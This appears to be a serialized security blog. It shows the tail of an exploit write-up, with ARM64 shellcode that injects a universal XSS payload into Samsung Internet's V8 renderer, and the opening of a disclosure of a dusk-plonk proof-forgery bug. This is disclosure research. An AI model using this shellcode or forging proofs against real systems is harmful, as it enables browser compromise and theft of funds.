page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[138766],{"type":23,"tag":64,"props":138767,"children":138768},{"__ignoreMap":7},[138769,138777,138785,138793,138801,138809,138817,138825,138833,138841,138849,138857,138865,138872,138880,138888,138896,138904,138911,138919,138926,138934,138942,138949,138956,138963,138970,138977,138984,138992,139000,139007,139015,139023,139030,139038,139046,139053,139060,139068,139076,139084,139091,139099,139107,139115,139123,139131,139139,139147,139155,139163,139171,139179,139186,139194,139202,139209,139217,139225,139233,139241,139248,139256,139263,139270,139278,139286,139294,139302,139311,139320,139328],{"type":23,"tag":481,"props":138770,"children":138771},{"class":483,"line":484},[138772],{"type":23,"tag":481,"props":138773,"children":138774},{},[138775],{"type":28,"value":138776},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":23,"tag":481,"props":138778,"children":138779},{"class":483,"line":351},[138780],{"type":23,"tag":481,"props":138781,"children":138782},{},[138783],{"type":28,"value":138784},"movz x1, #0xf7a0\n",{"type":23,"tag":481,"props":138786,"children":138787},{"class":483,"line":531},[138788],{"type":23,"tag":481,"props":138789,"children":138790},{},[138791],{"type":28,"value":138792},"movk x1, #0x0071, lsl #16\n",{"type":23,"tag":481,"props":138794,"children":138795},{"class":483,"line":567},[138796],{"type":23,"tag":481,"props":138797,"children":138798},{},[138799],{"type":28,"value":138800},"add x9, x12, x1\n",{"type":23,"tag":481,"props":138802,"children":138803},{"class":483,"line":678},[138804],{"type":23,"tag":481,"props":138805,"children":138806},{},[138807],{"type":28,"value":138808},"movz x1, #0x5ac8\n",{"type":23,"tag":481,"props":138810,"children":138811},{"class":483,"line":784},[138812],{"type":23,"tag":481,"props":138813,"children":138814},{},[138815],{"type":28,"value":138816},"movk x1, #0x054f, lsl #16\n",{"type":23,"tag":481,"props":138818,"children":138819},{"class":483,"line":812},[138820],{"type":23,"tag":481,"props":138821,"children":138822},{},[138823],{"type":28,"value":138824},"add x0, x12, x1\n",{"type":23,"tag":481,"props":138826,"children":138827},{"class":483,"line":825},[138828],{"type":23,"tag":481,"props":138829,"children":138830},{},[138831],{"type":28,"value":138832},"blr x9\n",{"type":23,"tag":481,"props":138834,"children":138835},{"class":483,"line":843},[138836],{"type":23,"tag":481,"props":138837,"children":138838},{},[138839],{"type":28,"value":138840},"// *x0 is isolate pointer\n",{"type":23,"tag":481,"props":138842,"children":138843},{"class":483,"line":864},[138844],{"type":23,"tag":481,"props":138845,"children":138846},{},[138847],{"type":28,"value":138848},"// store isolate ptr to stack\n",{"type":23,"tag":481,"props":138850,"children":138851},{"class":483,"line":873},[138852],{"type":23,"tag":481,"props":138853,"children":138854},{},[138855],{"type":28,"value":138856},"ldr x13, [x0]\n",{"type":23,"tag":481,"props":138858,"children":138859},{"class":483,"line":1125},[138860],{"type":23,"tag":481,"props":138861,"children":138862},{},[138863],{"type":28,"value":138864},"str x13, [sp, #-16]!\n",{"type":23,"tag":481,"props":138866,"children":138867},{"class":483,"line":1142},[138868],{"type":23,"tag":481,"props":138869,"children":138870},{"emptyLinePlaceholder":15},[138871],{"type":28,"value":1210},{"type":23,"tag":481,"props":138873,"children":138874},{"class":483,"line":1159},[138875],{"type":23,"tag":481,"props":138876,"children":138877},{},[138878],{"type":28,"value":138879},"// store x10 = v8::String::NewFromUTF8\n",{"type":23,"tag":481,"props":138881,"children":138882},{"class":483,"line":1172},[138883],{"type":23,"tag":481,"props":138884,"children":138885},{},[138886],{"type":28,"value":138887},"movz x1, #0x1140\n",{"type":23,"tag":481,"props":138889,"children":138890},{"class":483,"line":1181},[138891],{"type":23,"tag":481,"props":138892,"children":138893},{},[138894],{"type":28,"value":138895},"movk x1, #0x0242, lsl #16\n",{"type":23,"tag":481,"props":138897,"children":138898},{"class":483,"line":1204},[138899],{"type":23,"tag":481,"props":138900,"children":138901},{},[138902],{"type":28,"value":138903},"sub x10, x12, x1\n",{"type":23,"tag":481,"props":138905,"children":138906},{"class":483,"line":1213},[138907],{"type":23,"tag":481,"props":138908,"children":138909},{"emptyLinePlaceholder":15},[138910],{"type":28,"value":1210},{"type":23,"tag":481,"props":138912,"children":138913},{"class":483,"line":1222},[138914],{"type":23,"tag":481,"props":138915,"children":138916},{},[138917],{"type":28,"value":138918},"// mmap a RW page for our xss payload\n",{"type":23,"tag":481,"props":138920,"children":138921},{"class":483,"line":1291},[138922],{"type":23,"tag":481,"props":138923,"children":138924},{},[138925],{"type":28,"value":137269},{"type":23,"tag":481,"props":138927,"children":138928},{"class":483,"line":1299},[138929],{"type":23,"tag":481,"props":138930,"children":138931},{},[138932],{"type":28,"value":138933},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":23,"tag":481,"props":138935,"children":138936},{"class":483,"line":1329},[138937],{"type":23,"tag":481,"props":138938,"children":138939},{},[138940],{"type":28,"value":138941},"mov x2, #3\n",{"type":23,"tag":481,"props":138943,"children":138944},{"class":483,"line":1337},[138945],{"type":23,"tag":481,"props":138946,"children":138947},{},[138948],{"type":28,"value":137292},{"type":23,"tag":481,"props":138950,"children":138951},{"class":483,"line":1369},[138952],{"type":23,"tag":481,"props":138953,"children":138954},{},[138955],{"type":28,"value":137300},{"type":23,"tag":481,"props":138957,"children":138958},{"class":483,"line":1377},[138959],{"type":23,"tag":481,"props":138960,"children":138961},{},[138962],{"type":28,"value":137308},{"type":23,"tag":481,"props":138964,"children":138965},{"class":483,"line":1437},[138966],{"type":23,"tag":481,"props":138967,"children":138968},{},[138969],{"type":28,"value":137316},{"type":23,"tag":481,"props":138971,"children":138972},{"class":483,"line":6528},[138973],{"type":23,"tag":481,"props":138974,"children":138975},{},[138976],{"type":28,"value":137231},{"type":23,"tag":481,"props":138978,"children":138979},{"class":483,"line":6546},[138980],{"type":23,"tag":481,"props":138981,"children":138982},{"emptyLinePlaceholder":15},[138983],{"type":28,"value":1210},{"type":23,"tag":481,"props":138985,"children":138986},{"class":483,"line":6591},[138987],{"type":23,"tag":481,"props":138988,"children":138989},{},[138990],{"type":28,"value":138991},"// write our xss payload to mmapped rw page\n",{"type":23,"tag":481,"props":138993,"children":138994},{"class":483,"line":6697},[138995],{"type":23,"tag":481,"props":138996,"children":138997},{},[138998],{"type":28,"value":138999},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":23,"tag":481,"props":139001,"children":139002},{"class":483,"line":21008},[139003],{"type":23,"tag":481,"props":139004,"children":139005},{"emptyLinePlaceholder":15},[139006],{"type":28,"value":1210},{"type":23,"tag":481,"props":139008,"children":139009},{"class":483,"line":21043},[139010],{"type":23,"tag":481,"props":139011,"children":139012},{},[139013],{"type":28,"value":139014},"// store x11 = XSS_PAYLOAD string\n",{"type":23,"tag":481,"props":139016,"children":139017},{"class":483,"line":21051},[139018],{"type":23,"tag":481,"props":139019,"children":139020},{},[139021],{"type":28,"value":139022},"mov x11, x0\n",{"type":23,"tag":481,"props":139024,"children":139025},{"class":483,"line":21059},[139026],{"type":23,"tag":481,"props":139027,"children":139028},{"emptyLinePlaceholder":15},[139029],{"type":28,"value":1210},{"type":23,"tag":481,"props":139031,"children":139032},{"class":483,"line":21068},[139033],{"type":23,"tag":481,"props":139034,"children":139035},{},[139036],{"type":28,"value":139037},"// pop back isolate pointer\n",{"type":23,"tag":481,"props":139039,"children":139040},{"class":483,"line":21110},[139041],{"type":23,"tag":481,"props":139042,"children":139043},{},[139044],{"type":28,"value":139045},"ldr x13, [sp], #16\n",{"type":23,"tag":481,"props":139047,"children":139048},{"class":483,"line":21143},[139049],{"type":23,"tag":481,"props":139050,"children":139051},{"emptyLinePlaceholder":15},[139052],{"type":28,"value":1210},{"type":23,"tag":481,"props":139054,"children":139055},{"class":483,"line":21151},[139056],{"type":23,"tag":481,"props":139057,"children":139058},{},[139059],{"type":28,"value":137352},{"type":23,"tag":481,"props":139061,"children":139062},{"class":483,"line":21159},[139063],{"type":23,"tag":481,"props":139064,"children":139065},{},[139066],{"type":28,"value":139067},"// x13 = isolate *\n",{"type":23,"tag":481,"props":139069,"children":139070},{"class":483,"line":21168},[139071],{"type":23,"tag":481,"props":139072,"children":139073},{},[139074],{"type":28,"value":139075},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":23,"tag":481,"props":139077,"children":139078},{"class":483,"line":21244},[139079],{"type":23,"tag":481,"props":139080,"children":139081},{},[139082],{"type":28,"value":139083},"// x10 = v8::String::NewFromUtf8\n",{"type":23,"tag":481,"props":139085,"children":139086},{"class":483,"line":21277},[139087],{"type":23,"tag":481,"props":139088,"children":139089},{"emptyLinePlaceholder":15},[139090],{"type":28,"value":1210},{"type":23,"tag":481,"props":139092,"children":139093},{"class":483,"line":21285},[139094],{"type":23,"tag":481,"props":139095,"children":139096},{},[139097],{"type":28,"value":139098},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":23,"tag":481,"props":139100,"children":139101},{"class":483,"line":21293},[139102],{"type":23,"tag":481,"props":139103,"children":139104},{},[139105],{"type":28,"value":139106},"// arg0 = isolate *\n",{"type":23,"tag":481,"props":139108,"children":139109},{"class":483,"line":21330},[139110],{"type":23,"tag":481,"props":139111,"children":139112},{},[139113],{"type":28,"value":139114},"mov x0, x13\n",{"type":23,"tag":481,"props":139116,"children":139117},{"class":483,"line":21343},[139118],{"type":23,"tag":481,"props":139119,"children":139120},{},[139121],{"type":28,"value":139122},"// arg1 = char *c_str\n",{"type":23,"tag":481,"props":139124,"children":139125},{"class":483,"line":21356},[139126],{"type":23,"tag":481,"props":139127,"children":139128},{},[139129],{"type":28,"value":139130},"mov x1, x11\n",{"type":23,"tag":481,"props":139132,"children":139133},{"class":483,"line":21369},[139134],{"type":23,"tag":481,"props":139135,"children":139136},{},[139137],{"type":28,"value":139138},"// arg2 = type = kNormal\n",{"type":23,"tag":481,"props":139140,"children":139141},{"class":483,"line":21423},[139142],{"type":23,"tag":481,"props":139143,"children":139144},{},[139145],{"type":28,"value":139146},"mov x2, #0\n",{"type":23,"tag":481,"props":139148,"children":139149},{"class":483,"line":21432},[139150],{"type":23,"tag":481,"props":139151,"children":139152},{},[139153],{"type":28,"value":139154},"// arg4 = length\n",{"type":23,"tag":481,"props":139156,"children":139157},{"class":483,"line":29796},[139158],{"type":23,"tag":481,"props":139159,"children":139160},{},[139161],{"type":28,"value":139162},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":23,"tag":481,"props":139164,"children":139165},{"class":483,"line":29817},[139166],{"type":23,"tag":481,"props":139167,"children":139168},{},[139169],{"type":28,"value":139170},"// call NewFromUTF8\n",{"type":23,"tag":481,"props":139172,"children":139173},{"class":483,"line":78483},[139174],{"type":23,"tag":481,"props":139175,"children":139176},{},[139177],{"type":28,"value":139178},"blr x10\n",{"type":23,"tag":481,"props":139180,"children":139181},{"class":483,"line":78496},[139182],{"type":23,"tag":481,"props":139183,"children":139184},{"emptyLinePlaceholder":15},[139185],{"type":28,"value":1210},{"type":23,"tag":481,"props":139187,"children":139188},{"class":483,"line":78504},[139189],{"type":23,"tag":481,"props":139190,"children":139191},{},[139192],{"type":28,"value":139193},"// store x14 = String XSS_PAYLOAD\n",{"type":23,"tag":481,"props":139195,"children":139196},{"class":483,"line":78512},[139197],{"type":23,"tag":481,"props":139198,"children":139199},{},[139200],{"type":28,"value":139201},"mov x14, x0\n",{"type":23,"tag":481,"props":139203,"children":139204},{"class":483,"line":78520},[139205],{"type":23,"tag":481,"props":139206,"children":139207},{"emptyLinePlaceholder":15},[139208],{"type":28,"value":1210},{"type":23,"tag":481,"props":139210,"children":139211},{"class":483,"line":78560},[139212],{"type":23,"tag":481,"props":139213,"children":139214},{},[139215],{"type":28,"value":139216},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":481,"props":139218,"children":139219},{"class":483,"line":78568},[139220],{"type":23,"tag":481,"props":139221,"children":139222},{},[139223],{"type":28,"value":139224},"movz x1, #0xe44c\n",{"type":23,"tag":481,"props":139226,"children":139227},{"class":483,"line":85755},[139228],{"type":23,"tag":481,"props":139229,"children":139230},{},[139231],{"type":28,"value":139232},"movk x1, #0x014e, lsl #16\n",{"type":23,"tag":481,"props":139234,"children":139235},{"class":483,"line":85763},[139236],{"type":23,"tag":481,"props":139237,"children":139238},{},[139239],{"type":28,"value":139240},"sub x9, x12, x1\n",{"type":23,"tag":481,"props":139242,"children":139243},{"class":483,"line":99109},[139244],{"type":23,"tag":481,"props":139245,"children":139246},{"emptyLinePlaceholder":15},[139247],{"type":28,"value":1210},{"type":23,"tag":481,"props":139249,"children":139250},{"class":483,"line":99117},[139251],{"type":23,"tag":481,"props":139252,"children":139253},{},[139254],{"type":28,"value":139255},"// call v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":481,"props":139257,"children":139258},{"class":483,"line":99125},[139259],{"type":23,"tag":481,"props":139260,"children":139261},{},[139262],{"type":28,"value":139106},{"type":23,"tag":481,"props":139264,"children":139265},{"class":483,"line":99133},[139266],{"type":23,"tag":481,"props":139267,"children":139268},{},[139269],{"type":28,"value":139114},{"type":23,"tag":481,"props":139271,"children":139272},{"class":483,"line":99161},[139273],{"type":23,"tag":481,"props":139274,"children":139275},{},[139276],{"type":28,"value":139277},"// arg1 = String *source\n",{"type":23,"tag":481,"props":139279,"children":139280},{"class":483,"line":101932},[139281],{"type":23,"tag":481,"props":139282,"children":139283},{},[139284],{"type":28,"value":139285},"mov x1, x14\n",{"type":23,"tag":481,"props":139287,"children":139288},{"class":483,"line":101940},[139289],{"type":23,"tag":481,"props":139290,"children":139291},{},[139292],{"type":28,"value":139293},"// arg2 = mode = kDefault\n",{"type":23,"tag":481,"props":139295,"children":139297},{"class":483,"line":139296},69,[139298],{"type":23,"tag":481,"props":139299,"children":139300},{},[139301],{"type":28,"value":139146},{"type":23,"tag":481,"props":139303,"children":139305},{"class":483,"line":139304},70,[139306],{"type":23,"tag":481,"props":139307,"children":139308},{},[139309],{"type":28,"value":139310},"// arg3 = repl_mode = kYes\n",{"type":23,"tag":481,"props":139312,"children":139314},{"class":483,"line":139313},71,[139315],{"type":23,"tag":481,"props":139316,"children":139317},{},[139318],{"type":28,"value":139319},"mov x3, #0\n",{"type":23,"tag":481,"props":139321,"children":139323},{"class":483,"line":139322},72,[139324],{"type":23,"tag":481,"props":139325,"children":139326},{"emptyLinePlaceholder":15},[139327],{"type":28,"value":1210},{"type":23,"tag":481,"props":139329,"children":139331},{"class":483,"line":139330},73,[139332],{"type":23,"tag":481,"props":139333,"children":139334},{},[139335],{"type":28,"value":138832},{"type":23,"tag":7092,"props":139337,"children":139339},{"id":139338},"uxss-demo",[139340],{"type":28,"value":139341},"UXSS Demo",{"type":23,"tag":24,"props":139343,"children":139344},{},[139345,139347,139353],{"type":28,"value":139346},"Below is a demo that executes the following UXSS payload: ",{"type":23,"tag":64,"props":139348,"children":139350},{"className":139349},[],[139351],{"type":28,"value":139352},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":28,"value":199},{"type":23,"tag":129390,"props":139355,"children":139358},{"className":139356,"controls":15},[139357],"blog-video-responsive",[139359,139361,139365],{"type":28,"value":139360},"\n ",{"type":23,"tag":138596,"props":139362,"children":139364},{"src":139363,"type":129388},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":28,"value":139366},"\n Your browser does not support the video tag.\n",{"type":23,"tag":31,"props":139368,"children":139369},{"id":26445},[139370],{"type":28,"value":16443},{"type":23,"tag":24,"props":139372,"children":139373},{},[139374],{"type":28,"value":139375},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":23,"tag":24,"props":139377,"children":139378},{},[139379],{"type":28,"value":139380},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":23,"tag":2918,"props":139382,"children":139383},{},[139384],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":139386},[139387,139391,139394,139404],{"id":26528,"depth":351,"text":26531,"children":139388},[139389,139390],{"id":129524,"depth":531,"text":129527},{"id":129607,"depth":531,"text":129610},{"id":129640,"depth":351,"text":129643,"children":139392},[139393],{"id":129781,"depth":531,"text":129635},{"id":129925,"depth":351,"text":129928,"children":139395},[139396,139397,139398,139399,139400,139401,139402,139403],{"id":129931,"depth":531,"text":129934},{"id":130388,"depth":531,"text":130391},{"id":130571,"depth":531,"text":130574},{"id":130682,"depth":531,"text":130685},{"id":130959,"depth":531,"text":130962},{"id":133669,"depth":531,"text":133672},{"id":136950,"depth":531,"text":136953},{"id":139338,"depth":531,"text":139341},{"id":26445,"depth":351,"text":16443},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":139409,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":139410,"description":139411,"date":139412,"author":139413,"image":139414,"isFeatured":15,"onBlogPage":15,"tags":139416,"body":139419,"_type":358,"_id":144683,"_source":360,"_file":144684,"_stem":144685,"_extension":363},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[105370,105371],{"src":139415,"width":94800,"height":11111},"/posts/dusk-commitment-issues/title.png",[139417,139418],"dusk","plonk",{"type":20,"children":139420,"toc":144663},[139421,139427,139468,139480,139486,139500,139505,139511,139802,139806,140078,140308,140314,140999,141003,141498,141506,141512,141531,141536,141542,141767,141806,141817,141823,141834,142542,142547,142550,142556,142609,142644,142676,142681,142685,142688,142694,142705,142718,142749,142816,142824,142846,142859,143286,143309,143314,143317,143322,143349,143445,143456,143503,143541,143552,143890,143907,143915,143918,143924,143929,143963,143971,144052,144055,144061,144075,144093,144098,144138,144146,144167,144170,144176,144181,144246,144260,144263,144269,144309,144320,144325,144330,144336,144350,144431,144452,144479,144482,144488,144502,144507,144512,144517,144652,144658],{"type":23,"tag":32890,"props":139422,"children":139424},{"id":139423},"commitment-issues-unverified-evaluations-in-dusks-plonk",[139425],{"type":28,"value":139426},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":23,"tag":24,"props":139428,"children":139429},{},[139430,139432,139439,139441,139448,139450,139457,139459,139466],{"type":28,"value":139431},"We found a critical soundness vulnerability in ",{"type":23,"tag":190,"props":139433,"children":139436},{"href":139434,"rel":139435},"https://github.com/dusk-network/plonk/",[194],[139437],{"type":28,"value":139438},"dusk-plonk",{"type":28,"value":139440},", the PLONK implementation powering ",{"type":23,"tag":190,"props":139442,"children":139445},{"href":139443,"rel":139444},"https://dusk.network/",[194],[139446],{"type":28,"value":139447},"Dusk Network's",{"type":28,"value":139449}," ~$60M ",{"type":23,"tag":190,"props":139451,"children":139454},{"href":139452,"rel":139453},"https://www.coingecko.com/en/coins/dusk",[194],[139455],{"type":28,"value":139456},"market cap",{"type":28,"value":139458},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":23,"tag":190,"props":139460,"children":139463},{"href":139461,"rel":139462},"https://github.com/dusk-network/rusk",[194],[139464],{"type":28,"value":139465},"Rusk",{"type":28,"value":139467}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":23,"tag":24,"props":139469,"children":139470},{},[139471,139473,139478],{"type":28,"value":139472},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":23,"tag":2875,"props":139474,"children":139475},{},[139476],{"type":28,"value":139477},"without ever validating them against the trusted commitments in the verifier key.",{"type":28,"value":139479}," The prover can set them to whatever values make the equation pass.",{"type":23,"tag":31,"props":139481,"children":139483},{"id":139482},"how-plonk-works-briefly",[139484],{"type":28,"value":139485},"How PLONK works (briefly)",{"type":23,"tag":24,"props":139487,"children":139488},{},[139489,139491,139498],{"type":28,"value":139490},"For a rigorous treatment see the ",{"type":23,"tag":190,"props":139492,"children":139495},{"href":139493,"rel":139494},"https://eprint.iacr.org/2019/953",[194],[139496],{"type":28,"value":139497},"original paper",{"type":28,"value":139499},"; what follows covers only the parts needed to understand the bug.",{"type":23,"tag":24,"props":139501,"children":139502},{},[139503],{"type":28,"value":139504},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":23,"tag":7092,"props":139506,"children":139508},{"id":139507},"arithmetic-circuits-and-constraints",[139509],{"type":28,"value":139510},"Arithmetic circuits and constraints",{"type":23,"tag":24,"props":139512,"children":139513},{},[139514,139516,139565,139567,139716,139718,139801],{"type":28,"value":139515},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":23,"tag":64,"props":139517,"children":139519},{"className":139518},[1527,1528],[139520],{"type":23,"tag":481,"props":139521,"children":139523},{"className":139522},[1533],[139524],{"type":23,"tag":481,"props":139525,"children":139527},{"className":139526,"ariaHidden":1539},[1538],[139528],{"type":23,"tag":481,"props":139529,"children":139531},{"className":139530},[1544],[139532,139536,139541,139546,139551,139555,139560],{"type":23,"tag":481,"props":139533,"children":139535},{"className":139534,"style":1657},[1549],[],{"type":23,"tag":481,"props":139537,"children":139539},{"className":139538},[19215],[139540],{"type":28,"value":618},{"type":23,"tag":481,"props":139542,"children":139544},{"className":139543},[1555,19086],[139545],{"type":28,"value":16772},{"type":23,"tag":481,"props":139547,"children":139549},{"className":139548},[1668],[139550],{"type":28,"value":1671},{"type":23,"tag":481,"props":139552,"children":139554},{"className":139553,"style":1675},[1636],[],{"type":23,"tag":481,"props":139556,"children":139558},{"className":139557,"style":91065},[1555,19086],[139559],{"type":28,"value":628},{"type":23,"tag":481,"props":139561,"children":139563},{"className":139562},[19237],[139564],{"type":28,"value":642},{"type":28,"value":139566}," on an elliptic curve, by e.g proving that ",{"type":23,"tag":64,"props":139568,"children":139570},{"className":139569},[1527,1528],[139571],{"type":23,"tag":481,"props":139572,"children":139574},{"className":139573},[1533],[139575],{"type":23,"tag":481,"props":139576,"children":139578},{"className":139577,"ariaHidden":1539},[1538],[139579,139641,139703],{"type":23,"tag":481,"props":139580,"children":139582},{"className":139581},[1544],[139583,139587,139628,139632,139637],{"type":23,"tag":481,"props":139584,"children":139586},{"className":139585,"style":120916},[1549],[],{"type":23,"tag":481,"props":139588,"children":139590},{"className":139589},[1555],[139591,139596],{"type":23,"tag":481,"props":139592,"children":139594},{"className":139593,"style":91065},[1555,19086],[139595],{"type":28,"value":628},{"type":23,"tag":481,"props":139597,"children":139599},{"className":139598},[1572],[139600],{"type":23,"tag":481,"props":139601,"children":139603},{"className":139602},[1577],[139604],{"type":23,"tag":481,"props":139605,"children":139607},{"className":139606},[1582],[139608],{"type":23,"tag":481,"props":139609,"children":139611},{"className":139610,"style":1550},[1587],[139612],{"type":23,"tag":481,"props":139613,"children":139614},{"style":1591},[139615,139619],{"type":23,"tag":481,"props":139616,"children":139618},{"className":139617,"style":1597},[1596],[],{"type":23,"tag":481,"props":139620,"children":139622},{"className":139621},[1602,1603,1604,1605],[139623],{"type":23,"tag":481,"props":139624,"children":139626},{"className":139625},[1555,1605],[139627],{"type":28,"value":637},{"type":23,"tag":481,"props":139629,"children":139631},{"className":139630,"style":1734},[1636],[],{"type":23,"tag":481,"props":139633,"children":139635},{"className":139634},[1739],[139636],{"type":28,"value":603},{"type":23,"tag":481,"props":139638,"children":139640},{"className":139639,"style":1734},[1636],[],{"type":23,"tag":481,"props":139642,"children":139644},{"className":139643},[1544],[139645,139649,139690,139694,139699],{"type":23,"tag":481,"props":139646,"children":139648},{"className":139647,"style":120791},[1549],[],{"type":23,"tag":481,"props":139650,"children":139652},{"className":139651},[1555],[139653,139658],{"type":23,"tag":481,"props":139654,"children":139656},{"className":139655},[1555,19086],[139657],{"type":28,"value":16772},{"type":23,"tag":481,"props":139659,"children":139661},{"className":139660},[1572],[139662],{"type":23,"tag":481,"props":139663,"children":139665},{"className":139664},[1577],[139666],{"type":23,"tag":481,"props":139667,"children":139669},{"className":139668},[1582],[139670],{"type":23,"tag":481,"props":139671,"children":139673},{"className":139672,"style":1550},[1587],[139674],{"type":23,"tag":481,"props":139675,"children":139676},{"style":1591},[139677,139681],{"type":23,"tag":481,"props":139678,"children":139680},{"className":139679,"style":1597},[1596],[],{"type":23,"tag":481,"props":139682,"children":139684},{"className":139683},[1602,1603,1604,1605],[139685],{"type":23,"tag":481,"props":139686,"children":139688},{"className":139687},[1555,1605],[139689],{"type":28,"value":14788},{"type":23,"tag":481,"props":139691,"children":139693},{"className":139692,"style":1637},[1636],[],{"type":23,"tag":481,"props":139695,"children":139697},{"className":139696},[1642],[139698],{"type":28,"value":1930},{"type":23,"tag":481,"props":139700,"children":139702},{"className":139701,"style":1637},[1636],[],{"type":23,"tag":481,"props":139704,"children":139706},{"className":139705},[1544],[139707,139711],{"type":23,"tag":481,"props":139708,"children":139710},{"className":139709,"style":91610},[1549],[],{"type":23,"tag":481,"props":139712,"children":139714},{"className":139713},[1555],[139715],{"type":28,"value":52197},{"type":28,"value":139717},", here in ",{"type":23,"tag":64,"props":139719,"children":139721},{"className":139720},[1527,1528],[139722],{"type":23,"tag":481,"props":139723,"children":139725},{"className":139724},[1533],[139726],{"type":23,"tag":481,"props":139727,"children":139729},{"className":139728,"ariaHidden":1539},[1538],[139730],{"type":23,"tag":481,"props":139731,"children":139733},{"className":139732},[1544],[139734,139739],{"type":23,"tag":481,"props":139735,"children":139738},{"className":139736,"style":139737},[1549],"height:0.8389em;vertical-align:-0.15em;",[],{"type":23,"tag":481,"props":139740,"children":139742},{"className":139741},[1555],[139743,139748],{"type":23,"tag":481,"props":139744,"children":139746},{"className":139745},[1555,119354],[139747],{"type":28,"value":119357},{"type":23,"tag":481,"props":139749,"children":139751},{"className":139750},[1572],[139752],{"type":23,"tag":481,"props":139753,"children":139755},{"className":139754},[1577,19140],[139756,139790],{"type":23,"tag":481,"props":139757,"children":139759},{"className":139758},[1582],[139760,139785],{"type":23,"tag":481,"props":139761,"children":139763},{"className":139762,"style":90631},[1587],[139764],{"type":23,"tag":481,"props":139765,"children":139766},{"style":90635},[139767,139771],{"type":23,"tag":481,"props":139768,"children":139770},{"className":139769,"style":1597},[1596],[],{"type":23,"tag":481,"props":139772,"children":139774},{"className":139773},[1602,1603,1604,1605],[139775],{"type":23,"tag":481,"props":139776,"children":139778},{"className":139777},[1555,1605],[139779],{"type":23,"tag":481,"props":139780,"children":139782},{"className":139781},[1555,1605],[139783],{"type":28,"value":139784},"37",{"type":23,"tag":481,"props":139786,"children":139788},{"className":139787},[19243],[139789],{"type":28,"value":19246},{"type":23,"tag":481,"props":139791,"children":139793},{"className":139792},[1582],[139794],{"type":23,"tag":481,"props":139795,"children":139797},{"className":139796,"style":90662},[1587],[139798],{"type":23,"tag":481,"props":139799,"children":139800},{},[],{"type":28,"value":199},{"type":23,"tag":139803,"props":139804,"children":139805},"arithmetic-circuit-widget",{},[],{"type":23,"tag":24,"props":139807,"children":139808},{},[139809,139811,139837,139839,139918,139920,139997,139999,140076],{"type":28,"value":139810},"Each gate ",{"type":23,"tag":64,"props":139812,"children":139814},{"className":139813},[1527,1528],[139815],{"type":23,"tag":481,"props":139816,"children":139818},{"className":139817},[1533],[139819],{"type":23,"tag":481,"props":139820,"children":139822},{"className":139821,"ariaHidden":1539},[1538],[139823],{"type":23,"tag":481,"props":139824,"children":139826},{"className":139825},[1544],[139827,139832],{"type":23,"tag":481,"props":139828,"children":139831},{"className":139829,"style":139830},[1549],"height:0.6595em;",[],{"type":23,"tag":481,"props":139833,"children":139835},{"className":139834},[1555,19086],[139836],{"type":28,"value":1274},{"type":28,"value":139838}," has a left input 